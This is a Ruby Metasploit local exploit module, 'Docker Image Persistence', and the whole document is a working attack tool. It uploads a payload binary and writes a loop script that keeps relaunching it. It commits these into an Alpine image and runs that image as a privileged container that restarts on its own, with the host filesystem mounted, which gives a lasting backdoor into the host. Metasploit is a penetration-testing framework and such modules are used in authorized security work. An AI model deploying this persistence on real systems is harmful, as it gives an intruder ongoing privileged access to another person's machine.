## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::FileDropper include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Docker Image Persistence', 'Description' => %q{ This module maintains persistence on a host by creating a docker image which runs our payload, and has access to the host's file system (/host in the container). Whenever the container restarts, the payload will run, or when the payload dies the executable will run again after a delay. This will allow for writing back into the host through cron entries, ssh keys, or other method. Verified on Ubuntu 22.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', ], 'Platform' => [ 'linux' ], 'Arch' => [ # ARCH_CMD, can't always guarantee that curl and other things are on system, so binary is best ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1610_DEPLOY_CONTAINER], ], 'DisclosureDate' => '2013-03-20', # docker's release date 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options( [ OptInt.new('SLEEP', [false, 'How many seconds to sleep before re-executing payload', 600]), ] ) end def check # we don't need this check since the payload is in the docker image # print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) return CheckCode::Safe('docker is required') unless command_exists?('docker') vprint_status('Checking Docker availability and permissions...') output = cmd_exec('docker ps 2>&1') if output.include?('permission denied') return CheckCode::Safe('Docker is installed but this user does not have permission to access it') elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?') return CheckCode::Detected('Docker appears to be installed but the daemon is not running') end CheckCode::Detected('docker app is installed and accessible') end def install_persistence # Step 1: Prepare payload file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{writable_dir}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") upload_and_chmodx(backdoor, generate_payload_exe) # Step 2: Prepare entrypoint script (loops indefinitely) sleep_time = datastore['SLEEP'] entry_script = <<~SCRIPT #!/bin/sh while true; do if [ -x /usr/local/bin/#{file_name} ]; then # Check if it's already running if ! pgrep -f "/usr/local/bin/#{file_name}" >/dev/null 2>&1; then /usr/local/bin/#{file_name} & fi fi sleep #{sleep_time} done SCRIPT entry_file = "#{writable_dir}/entrypoint.sh" unless write_file(entry_file, entry_script) fail_with(Failure::UnexpectedReply, "Unable to write #{entry_file}") end chmod(entry_file, 0o755) # Step 3: Pull Alpine image cmd_exec('docker pull alpine') # Step 4: Create a temporary container (stopped) to copy files in tmp_container = cmd_exec('docker run -dit alpine sh').strip vprint_status("Temporary container created: #{tmp_container}") # Copy payload and entrypoint into container cmd_exec("docker cp #{backdoor} #{tmp_container}:/usr/local/bin/#{file_name}") cmd_exec("docker cp #{entry_file} #{tmp_container}:/") cmd_exec("docker exec #{tmp_container} chmod +x /usr/local/bin/#{file_name}") cmd_exec("docker exec #{tmp_container} chmod +x /entrypoint.sh") # Commit a new persistent image persistent_image = "alpine_#{Rex::Text.rand_text_alpha_lower(5..8)}" cmd_exec("docker commit #{tmp_container} #{persistent_image}") print_good("Persistent image created: #{persistent_image}") # Remove temporary container cmd_exec("docker rm #{tmp_container}") # Step 5: Start container with internal entrypoint container_id = cmd_exec("docker run -dit --privileged -v /:/host --restart=always #{persistent_image} /entrypoint.sh").strip print_good("Container started with internal entrypoint: #{container_id}") # Step 6: Add cleanup commands for RC @clean_up_rc << "execute -f /bin/sh -a \"-c 'docker stop #{container_id}'\" -i -H" @clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rm #{container_id}'\" -i -H" @clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H" # Step 7: Clean up host temp files rm_f(backdoor) rm_f(entry_file) # Step 8: Stop tmp image print_status('Stopping and removing temp container') cmd_exec("docker stop #{tmp_container}") cmd_exec("docker rm #{tmp_container}") print_status("Payload installed and running with #{sleep_time}-second loop in container") end end